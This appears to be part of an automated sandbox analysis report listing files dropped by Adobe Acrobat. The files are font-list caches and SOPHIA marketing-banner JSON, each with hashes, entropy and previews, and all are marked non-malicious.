Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362174731087364
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJM3g98kUwPeUkwRe9:YvXKXBE7fDG4sdTeOjGMbLUkee9
MD5:	9764ECEB28ED96020C97A9D748982C22
SHA1:	5FFE65EEBC21F809A5738CC0442292C6AF5CBB56
SHA-256:	92760C7AC364C021B5DC839D9177CC393C31A05D3ECF2FFA2A3DFB052CCCC5CF
SHA-512:	21F37F3ACFF23CF16C1E960D4FA41D6FE332C7D0D1E4ADBF6BA3D8689C90DD0BF7B7E6CD5C5E7D958448E6115C71CB7BF72E035E660E4C7ABA69ED52E1FEAF52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29723841280924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfBoTfXpnrPeUkwRe9:YvXKXBE7fDG4sdTeOjGWTfXcUkee9
MD5:	36BE443638E968C4DB089C38DF274DA2
SHA1:	B5FC6B081B768D9621B3C4406158C8BDEA9BE18A
SHA-256:	DDA565D014064A98932BCBC5903D439BBE859760BBB5D40C7F97C082A8EE7277
SHA-512:	77C6131C3C5402A9CD549781D95E735F75F08D7233CDA7A8A3B4F3D31A5B1F4FF8305619F6ADA6D7BAD098D994FD8E134345BEC5E619D47DBB5FFE497E78455F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275497908167047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfBD2G6UpnrPeUkwRe9:YvXKXBE7fDG4sdTeOjGR22cUkee9
MD5:	9F1A9EBB7B3667FAD90392909F7B98C5
SHA1:	86C9A0B4B0BED8BEE9FD9B1D44DDCDDD353B725A
SHA-256:	C74C04C42CBDDA1ABCB6AD994F74395C408FE879E498FE016D2CE863229DEDDC
SHA-512:	CE7117D26C50CD6F046E36365BA24D8F7FC00D734177B9398E7B6FB73650C4AA758A60D1FC6F1CFFFE35563B1FF805DB534D5FEBBA58C34BBA8313EF14F1A498
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.349011327041133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfPmwrPeUkwRe9:YvXKXBE7fDG4sdTeOjGH56Ukee9
MD5:	0E566E932E8F66A3D1E53954F3E4DDF8
SHA1:	3C1B0DD0A6AE3676AC616BB260CB9C1BB8DD71B3
SHA-256:	1E06A7A105D6A043D49318EC678395629984873EA054C26BC850625A41A5CE16
SHA-512:	74010F3C9241DD893C8647CCFDFD1DD86A8018AD6C57E2791A8809418AB6EFBB0DB864D46E1D3EC0070AB7C38CD772D8C08E00B82F45B684AAF58D2307938B7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681390553219373
Encrypted:	false
SSDEEP:	24:Yv6XBgfjmeO4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvEgfCeDhgy6SAFv5Ah8cv/Q
MD5:	83CE89C5E386A1C3125BCFE3FAFDA240
SHA1:	9C4A0CFE33C65860B411D5501758E29D051CDFC1
SHA-256:	B6301A2E683840244D485896C6F8BE9D9880D0B36E3911C4E7341DF9F21626A5
SHA-512:	37272D984E112C1B4980127B309DF70CAEEB1F3C9D17E1D3E3D6FD632315BBB0E3C7595B9897FAD6BB6014E8E2EE46ACBED479DE407C3C7CB13DD5A1CAD679F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286252407470161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJf8dPeUkwRe9:YvXKXBE7fDG4sdTeOjGU8Ukee9
MD5:	ED716122FB0EC90200BDF5D6307E5E2F
SHA1:	AC07CACF6F6EC48CDF572A1E0A3E76144C721E3C
SHA-256:	904CBE3E6499EEF9A2620325D07803F89096637DDA5BAE56E789A2313E5AD55B
SHA-512:	AB34A5BAA73C9DA06DE8ADE6FB896DC90C9475F7667C3935D975B98AD6E6AD32F94479BFE41A81A0611D5A953EF2E9C56C6E10B04930D82AA28CE5FBD9DF9F7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290875884274255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfQ1rPeUkwRe9:YvXKXBE7fDG4sdTeOjGY16Ukee9
MD5:	24CDD2334242B7E5C7B9A34B197EF451
SHA1:	6AD9615DE5492ED2AAB5FED4A3701B117004BBD4
SHA-256:	B9FD858EF5D111CB78A05FD40BEBCAF2EE22F35627942224ACE850CD878C5B74
SHA-512:	FFF7890DFCDD8FB11C2077CBDDD4B88FD061344DA597A16808F4960657961F0E3D650E2D537B34B536F50B9CAD43FE9534DF1B5058C3FA6B5D410E9BD40CCBF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30671878227152
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfFldPeUkwRe9:YvXKXBE7fDG4sdTeOjGz8Ukee9
MD5:	44589E9795FA8F539F81A751121700B8
SHA1:	0E5930B6A7B8775AD0CDA4DEC19E6400F3CD1E59
SHA-256:	D44F68BA0B5D1527FC373A4D5757969DB4EE2853B61DB46A248D28AF9829F528
SHA-512:	D893A1291619F30EB8FBD0CCCBBA95127390D13A4E84F30CBFDDF07402400B21B860D29ABBBF11D96B4BA62CE71D49BF2CF9164D442B7CA21C0FAC823914E5C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312680082987844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfzdPeUkwRe9:YvXKXBE7fDG4sdTeOjGb8Ukee9
MD5:	C96BCD01E9708A666E042361B969F64D
SHA1:	D8B35B73BE247C668E8469E4484B124B483EDFB5
SHA-256:	66CCBC1638EC67B971277C93C9668C281BDEB6C1A32527D4E5F3E38FC47963DD
SHA-512:	140A6EE92FFDEE774C8C2D91626DA3D2FC7D03282C3DA8A2D80426322C594516F91CCD79380AE2CDBFF13230DE39ABE6842E4D59E27200D1EE9CA242CCD06723
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293462544713699
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfYdPeUkwRe9:YvXKXBE7fDG4sdTeOjGg8Ukee9
MD5:	BCE093EAB4726F1E6561A5CDB2C31368
SHA1:	FC596FBB12FFFF48FCFA2E2C3AA55E3711815175
SHA-256:	9258C674672300EACBE33CC17ED841CFECD6C3BB33B0C963AE5776EBEE060ADE
SHA-512:	BA98721553D9614FE74FB8C7563A6BA83A8E7DB306A0DD1D3FB48328CB0511D47EEF2D0E2CBDCCE45C094734463D7235A7D1B59DF2E55C374075B4A2D644BAF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2793978214927995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJf+dPeUkwRe9:YvXKXBE7fDG4sdTeOjG28Ukee9
MD5:	5E5C3DA0669F25A015EE84F0E68E788E
SHA1:	41323224F1CBEE1C3B020A1783D6BAB9ED57627E
SHA-256:	F0B9E4E83460048F8457AAA2885D9EBC52E88CAD162FFD9AF129304B31A78926
SHA-512:	A5229B10EF0AEF73FD0DB0888DA80466DB72DE9E8DB3FFC7D08723676AA700019B3F1596F62697A15862E06E3B0DA7EB250E5327288AAB8F3EC2166C88DA7DA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277054573351729
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfbPtdPeUkwRe9:YvXKXBE7fDG4sdTeOjGDV8Ukee9
MD5:	A2A5A563BA2D0A6341D7074313A783A1
SHA1:	0407282BD32746691B0FBD87F9C08F9F96E1097C
SHA-256:	81CBE18A4E81292CDDBED96D5EC4D7377AEB400B094B8044EDA9336C517CC01B
SHA-512:	FE1C57DF2634C7AF2EDDC8952F4A30C08EDBE5DF689E899CDFE7C479329A4AD51E64D42FD03C2AF57B7ECC14C132749504F8D2D70C822FC649F0193231122013
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281911403431026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJf21rPeUkwRe9:YvXKXBE7fDG4sdTeOjG+16Ukee9
MD5:	09D9D32F7D2D8B73EC1509970BAB44E2
SHA1:	F3A7B3C79D03EB6A6501FBF3D0D833C554BD585F
SHA-256:	616693349B5C14CDA2BD0E377A0068FC1E7A9902045586E09F0CE78053B3BE3C
SHA-512:	6C7C70EFD3973B7645F2BCFE440BEEDA6BF24B4CC9BD1E71DB5A77F6E82B0D7AD6C72384D235DC1F116B12A38D527A3E5C6EF80EEAFFEFAC65B14F7C8A238EF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.654552253983859
Encrypted:	false
SSDEEP:	24:Yv6XBgfjmeOMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvEgfCejBgkDMUJUAh8cvMQ
MD5:	83D6AD184D5DD67DE057BC48FD769AA6
SHA1:	A10B31608157F6C79290F8F8A552ED8C1BE7F0CA
SHA-256:	2AE93864482E2FE96EA908E43AE2CDDE03A4B12E58ECC55C38ECF08B8C2E34FB
SHA-512:	6CAC897F564BAD971DC56D16C1E496F5204D8E2404FF05A3600149C0B8B860476588E0481AC8D6BA37907C732A5031384FDC6B2F335368F9437F5588E672FBBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.257952679697126
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJfshHHrPeUkwRe9:YvXKXBE7fDG4sdTeOjGUUUkee9
MD5:	DFE1376D0E840F9422399C44CE499453
SHA1:	37092B6D604E9A101D2EC3849C8C7BE00F06BED2
SHA-256:	7DFEDDA9FDB701303024AEA6D641031CEA6C2DA43CEF8C992BA5A6CF4D1EE594
SHA-512:	28B306E083D27C49F129D0020C0C02076BBB214EF6D36200A5FBDAE64A7069B86B8DEA19550A074435841DA54AC1D7A3E66B5160551B2369D1919B40F6E96F0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276804646689592
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjWmc7fDGR3WsGiIPEeOF0Y4oAvJTqgFCrPeUkwRe9:YvXKXBE7fDG4sdTeOjGTq16Ukee9
MD5:	B3D71E6F842D017E0242B089CE86AD7A
SHA1:	E8CA81B3C33C333E1683486467499D34D8457FA2
SHA-256:	643518B8AF37DB8475998BE76272D0E91E17C961FEA9E6A7E1B9FFE3763C6D4C
